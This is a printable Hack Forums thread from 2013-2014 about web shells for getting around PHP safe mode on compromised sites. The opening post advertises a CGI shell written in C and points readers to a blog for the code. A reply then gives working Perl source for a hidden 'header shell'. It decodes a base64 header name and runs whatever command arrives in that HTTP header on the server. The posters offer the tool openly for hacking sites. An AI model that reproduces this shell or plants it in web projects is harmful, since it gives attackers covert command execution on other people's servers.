Hack Forums
CGI-C Shell - Safe Mode Bypass Shell [Win/Linux] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: CGI-C Shell - Safe Mode Bypass Shell [Win/Linux] (/showthread.php?tid=3489611)



CGI-C Shell - Safe Mode Bypass Shell [Win/Linux] - cheatson - May 18, 2013

[Image: ONG0Ns1.jpg]

I saw a few questions relating to safe mode recently. There are a lot of techniques to bypass safe mode and some good tutorials on the site for the general cases. If none of these work, and you are able to use the CGI interface, bypassing safe mode becomes trivial!

Although a perl, python, and even php CGI implementation would be far simpler and often desirable, if those aren't accessible, try my CGI C shell for linux and windows!

PHP Code

<?php 
You can find the source on my blog
: hackers2devnull.blogspot.co.uk :-) 

[Image: s0FTuyY.jpg]

[Image: V5NU7fS.jpg]



* - seyikate - Jan 16, 2014

can this be used to hack a site sir ??


* - F3lix666 - Jan 16, 2014

Write your own CGI SHELL

#!/usr/bin/perl
use CGI qw(:standard);
use MIME::Base64 qw(decode_base64);

print header;
$dom = $ENV{decode_base64( "SFRUUF9BQ0NFUFRfRkVMSVg=" )};
if(dom)
{
print ":: $dom\n";
$bs=`$dom 2>&1`;
print pre($bs);
}

Its a header shell
ACCEPT_FELIX


* - cheatson - Jan 16, 2014

(Jan 16, 2014 05:47 AM)seyikate Wrote:  can this be used to hack a site sir ??

Yeah... but if you don't know that probably no use to ya anway.